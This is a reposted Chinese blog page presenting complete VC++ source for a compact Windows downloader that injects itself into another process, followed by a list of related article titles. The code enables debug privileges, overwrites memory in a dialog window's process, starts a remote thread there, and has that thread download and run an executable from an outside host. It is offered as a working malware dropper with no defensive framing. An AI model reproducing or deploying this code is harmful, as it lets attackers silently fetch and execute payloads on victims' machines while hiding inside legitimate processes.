VC++1.5K字节实现下载并远程注入
来源:互联网 发布:linux gtk安装 编辑:程序博客网 时间:2024/04/28 09:52
#pragma comment(linker,"/BASE:0x13140000 /ENTRY:InjectPro /FILEALIGN:0x200 /MERGE:.data=.text /MERGE:.rdata=.text /SECTION:.text,EWR /IGNORE:4078") #pragma comment(lib, "urlmon.lib") #include <windows.h> void InjectMemo() { URLDownloadToFile(0, "http://www.fi7ke.com/upiea.exe", TEXT("C:/upiea.exe"), 0, 0); WinExec("c:/upiea.exe", SW_SHOW); ExitThread(0); } void GetDebugPrivs() { HANDLE hToken; DWORD ReGvl; TOKEN_PRIVILEGES Ttges; if (OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) { LookupPrivilegeValue(NULL, "SeDebugPrivilege", &Ttges.Privileges[0].Luid); Ttges.PrivilegeCount=1; Ttges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AdjustTokenPrivileges(hToken, FALSE, &Ttges, 0,(PTOKEN_PRIVILEGES)NULL, &ReGvl); } } void InjectPro() { DWORD Size,PID; PBYTE module; module = (PBYTE)GetModuleHandle(0); Size = ((PIMAGE_NT_HEADERS)(module+((PIMAGE_DOS_HEADER)module)->e_lfanew))->OptionalHeader.SizeOfImage; HANDLE ProcessHandle; LPVOID heart; GetDebugPrivs(); GetWindowThreadProcessId(FindWindow("#32770", NULL), &PID); ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID); VirtualFreeEx(ProcessHandle, module, 0, MEM_RELEASE); heart = VirtualAllocEx(ProcessHandle, module, Size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); WriteProcessMemory(ProcessHandle, heart, module, Size, NULL); CreateRemoteThread(ProcessHandle, 0, 0, (LPTHREAD_START_ROUTINE)InjectMemo, module, 0, NULL); }
- VC++1.5K字节实现下载并远程注入
- vc实现无dll远程线程注入
- VC++ 实现dll远程注入代码示例
- VC++远程注入动态库的实现(6-1)
- VC++远程注入动态库的实现(6-2)
- VC++远程注入动态库的实现(6-3)
- VC++远程注入动态库的实现(6-4)
- VC++远程注入动态库的实现(6-5)
- VC++远程注入动态库的实现(6-6)
- EasyHook远程进程注入并hook api的实现
- VC DLL远程进程注入
- vc++ 下载远程图片
- 实现远程代码注入
- VC++实现DLL注入
- VC++ 实现线程注入
- DLL的远程注入技术 - [Vc++]
- 远程线程注入并调用API
- 基于VC++实现APC注入
- VB.NET,PDF图片表示
- MyEclipse 创建WEB项目
- swt复杂气泡实现
- 函数指针和指针函数
- FILETIME 结构
- VC++1.5K字节实现下载并远程注入
- CoreText基础-排版必修课
- 测试知识大闯关第24期 回答
- linux 下文件夹大小及数量统计
- 京东大家电仅1.6%降价 连夜涨价半数商品无货
- ORA-01659: 无法分配超出 7 的 MINEXTENTS (在表空间 DATA 中)
- 常见的ios的enum
- oracle中的exists 和not exists 用法
- Oracle临时表的用法